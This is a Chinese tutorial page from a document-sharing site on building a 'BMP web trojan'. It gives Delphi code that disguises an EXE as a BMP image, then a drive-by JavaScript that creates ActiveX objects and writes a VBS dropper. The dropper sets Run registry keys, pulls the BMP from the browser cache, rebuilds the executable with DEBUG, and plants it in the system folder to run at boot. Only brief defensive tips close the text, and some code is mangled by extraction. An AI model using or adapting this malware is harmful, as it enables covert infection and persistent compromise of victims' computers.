收藏 分享(赏)

制作图片木马教程(如何制作图片木马).doc

上传人:HR专家 文档编号:11359078 上传时间:2020-04-03 格式:DOC 页数:9 大小:57.50KB
下载 相关 举报
制作图片木马教程(如何制作图片木马).doc_第1页
第1页 / 共9页
制作图片木马教程(如何制作图片木马).doc_第2页
第2页 / 共9页
制作图片木马教程(如何制作图片木马).doc_第3页
第3页 / 共9页
制作图片木马教程(如何制作图片木马).doc_第4页
第4页 / 共9页
制作图片木马教程(如何制作图片木马).doc_第5页
第5页 / 共9页
点击查看更多>>
资源描述

1、何谓BMP网页木马?它和过去早就用臭了的MIME头漏洞的木马不同,MIME木马是把一个EXE文件用MIME编码为一个EML(OUT LOOK信件)文件,放到网页上利用IE和OE的编码漏洞实现自动下载和执行。 然而BMP木马就不同,它把一个EXE文件伪装成一个BMP图片文件,欺骗IE自动下载,再利用网页中的JAVASCRIPT脚本查找客户端的Internet临时文件夹,找到下载后的BMP文件,把它拷贝到TEMP目录。再编写一个脚本把找到的BMP文件用DEBUG还原成EXE,并把它放到注册表启动项中,在下一次开机时执行.但是这种技术只能在9X下发挥作用,对于2K、XP来说是无能为力了。 看上去好象

2、很复杂,下面我们一步一步来: 1) EXE变BMP的方法 大家自己去查查BMP文件资料就会知道,BMP文件的文件头有54个字节,简单来说里面包含了BMP文件的长宽、位数、文件大小、数据区长度。我们只要在EXE文件的文件头前面添加相应的BMP文件头(当然BMP文件头里面的数据要符合EXE文件的大小啦),这样就可以欺骗IE下载该BMP文件,开始我们用JPG文件做过试验,发现如果文件头不正确的话,是不会下载的,转换代码如下: program exe2bmp; uses Windows, SysUtils; var len,row,col,fs: DWORD; buffer: array0.255of

3、 char; fd: WIN32_FIND_DATA; h,hw: THandle; begin if (ParamStr(1) and(ParamStr(2) then begin /如果运行后没有两个参数则退出 if FileExists(ParamStr(1) then begin FindFirstFile(Pchar(ParamStr(1),fd); fs:=fd.nFileSizeLow; col := 4; while true do begin if (fs mod 12)=0 then begin len:=fs; end else len:=fs+12-(fs mod 12

4、); row := len div col div 3; if rowcol then begin col:=col+4; end else Break; end; FillChar(buffer,256,0); 一下为BMP文件头数据 Buffer0:=B;Buffer1:=M; PDWORD(buffer18):=col; PDWORD(buffer22):=row; PDWORD(buffer34):=len; PDWORD(buffer2):=len+54; PDWORD(buffer10):=54; PDWORD(buffer14):=40; PWORD(buffer26):=1;

5、PWORD(buffer28):=24; 写入文件 hw:=CreateFile(Pchar(ParamStr(2),GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0); h:=CreateFile(Pchar(ParamStr(1),GENERIC_READ,FILE_SHARE_READ orFILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0); WriteFile(hw,buffer,54,col,0); repeat ReadFile(h,buffer,256,col

6、,0); WriteFile(hw,buffer,col,col,0); untilcol256; WriteFile(hw,buffer,len-fs,col,0); CloseHandle(h); CloseHandle(hw); end; end; end.以上代码可以在DELPHI4,5,6中编译 ,就可以得到一个exe2bmp.exe文件.大家打开MSDOS方式,输入 exe2bmp myexe.exe mybmp.bmp 回车就可以把第二个参数所指定的EXE文件转换成BMP格式. 接着就是把这个BMP图片放到网页上了,如果大家打开过这张图片的话,一定发现这张BMP又花,颜色又单调.

7、所以大家放在网页上最好用这样的格式 以下是放在网页上的脚本 document.write( ); function docsave() a=document.applets0; a.setCLSID(F935DC22-1CF0-11D0-ADB9-00C04FD58A0B); a.createInstance(); wsh=a.GetObject(); a.setCLSID(0D43FE01-F093-11CF-8940-00A0C9054228); a.createInstance(); fso=a.GetObject(); var winsys=fso.GetSpecialFolder(1

8、); var vbs=winsys+s.vbs; wsh.RegWrite (HKCUSoftwareMicrosoftWindowsCurrentVersionRunvbs,wscript +vbs+ ); var st=fso.CreateTextFile(vbs,true); st.WriteLine(Option Explicit); st.WriteLine(Dim FSO,WSH,CACHE,str); st.WriteLine(Set FSO = CreateObject(Scripting.FileSystemObject); st.WriteLine(Set WSH = Cr

9、eateObject(WScript.Shell); st.WriteLine(CACHE=wsh.RegRead(HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerShellFoldersCache); st.WriteLine(wsh.RegDelete(HKCUSoftwareMicrosoftWindowsCurrentVersionRunvbs); st.WriteLine (wsh.RegWrite HKCUSoftwareMicrosoftWindowsCurrentVersionRuntmp,tmp.exe); st.Write

10、Line(SearchBMPFile fso.GetFolder(CACHE),mybmp1.bmp); st.WriteLine(WScript.Quit(); st.WriteLine(Function SearchBMPFile(Folder,fname); st.WriteLine( Dim SubFolder,File,Lt,tmp,winsys); st.WriteLine( str=FSO.GetParentFolderName(folder) & & folder.name & & fname); st.WriteLine( if FSO.FileExists(str) the

11、n); st.WriteLine( tmp=fso.GetSpecialFolder(2) & ); st.WriteLine( winsys=fso.GetSpecialFolder(1) & ); st.WriteLine( set File=FSO.GetFile(str); st.WriteLine( File.Copy(tmp & tmp.dat); st.WriteLine( File.Delete); st.WriteLine( set Lt=FSO.CreateTextFile(tmp & tmp.in); st.WriteLine( Lt.WriteLine(rbx); st

12、.WriteLine( Lt.WriteLine(0); st.WriteLine( Lt.WriteLine(rcx); st.WriteLine( Lt.WriteLine(1000); st.WriteLine( Lt.WriteLine(w136); st.WriteLine( Lt.WriteLine(q); st.WriteLine( Lt.Close); st.WriteLine( WSH.Run command /c debug & tmp & tmp.dat & tmp & tmp.out,false,6); st.WriteLine( On Error Resume Nex

13、t ); st.WriteLine( FSO.GetFile(tmp & tmp.dat).Copy(winsys & tmp.exe); st.WriteLine( FSO.GetFile(tmp & tmp.dat).Delete); st.WriteLine( FSO.GetFile(tmp & tmp.in).Delete); st.WriteLine( FSO.GetFile(tmp & tmp.out).Delete); st.WriteLine( end if); st.WriteLine( If Folder.SubFolders.Count 0 Then); st.Write

14、Line( For Each SubFolder In Folder.SubFolders); st.WriteLine( SearchBMPFile SubFolder,fname); st.WriteLine( Next); st.WriteLine( End If); st.WriteLine(End Function); st.Close(); setTimeout(docsave(),1000);把该脚本保存为js.js,在网页中插入: 该脚本主要会在本地机器的SYSTEM目录下生成一个“S.VBS”文件,该脚本文件会在下次开机时自动运行。主要用于从临时目录中找出mybmp1.bmp

15、文件。 “S.VBS”文件主要内容如下: Option Explicit Dim FSO,WSH,CACHE,str Set FSO = CreateObject(Scripting.FileSystemObject) Set WSH = CreateObject(WScript.Shell) CACHE=wsh.RegRead(HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerShellFoldersCache) wsh.RegDelete(HKCUSoftwareMicrosoftWindowsCurrentVersionRunvbs) w

16、sh.RegWrite HKCUSoftwareMicrosoftWindowsCurrentVersionRuntmp,tmp.exe SearchBMPFile fso.GetFolder(CACHE),mybmp1.bmp WScript.Quit() Function SearchBMPFile(Folder,fname) Dim SubFolder,File,Lt,tmp,winsys 从临时文件夹中查找目标BMP图片 str=FSO.GetParentFolderName(folder) & & folder.name & & fname if FSO.FileExists(str

17、) then tmp=fso.GetSpecialFolder(2) & winsys=fso.GetSpecialFolder(1) & set File=FSO.GetFile(str) File.Copy(tmp & tmp.dat) File.Delete 生成一个DEBUG脚本 set Lt=FSO.CreateTextFile(tmp & tmp.in) Lt.WriteLine(rbx) Lt.WriteLine(0) Lt.WriteLine(rcx) 下面一行的1000是十六进制,换回十进制是4096(该数字是你的EXE文件的大小) Lt.WriteLine(1000) Lt

18、.WriteLine(w136) Lt.WriteLine(q) Lt.Close WSH.Run command /c debug & tmp & tmp.dat & tmp & tmp.out,false,6 On Error Resume Next FSO.GetFile(tmp & tmp.dat).Copy(winsys & tmp.exe) FSO.GetFile(tmp & tmp.dat).Delete FSO.GetFile(tmp & tmp.in).Delete FSO.GetFile(tmp & tmp.out).Delete end if If Folder.SubF

19、olders.Count 0 Then For Each SubFolder In Folder.SubFolders SearchBMPFile SubFolder,fname Next End If End Function这个脚本会找出在临时文件夹中的bmp文件,并生成一个DEBUG的脚本,运行时会自动从BMP文件54字节处读去你指定大小的数据,并把它保存到tmp.dat中.后面的脚本再把它复制到SYSTEM的目录下.这个被还原的EXE文件会在下次重起的时候运行.这就是BMP木马的基本实现过程. 防范方法: 最简单,删除或改名wscrpit.exe文件和DEBUG 文件; 安装有效的杀毒软件,因为这些脚本有好多杀毒软件已经可以查出来了.

展开阅读全文
相关资源
猜你喜欢
相关搜索
资源标签

当前位置:首页 > 实用文档 > 简明教程

本站链接:文库   一言   我酷   合作


客服QQ:2549714901微博号:道客多多官方知乎号:道客多多

经营许可证编号: 粤ICP备2021046453号世界地图

道客多多©版权所有2020-2025营业执照举报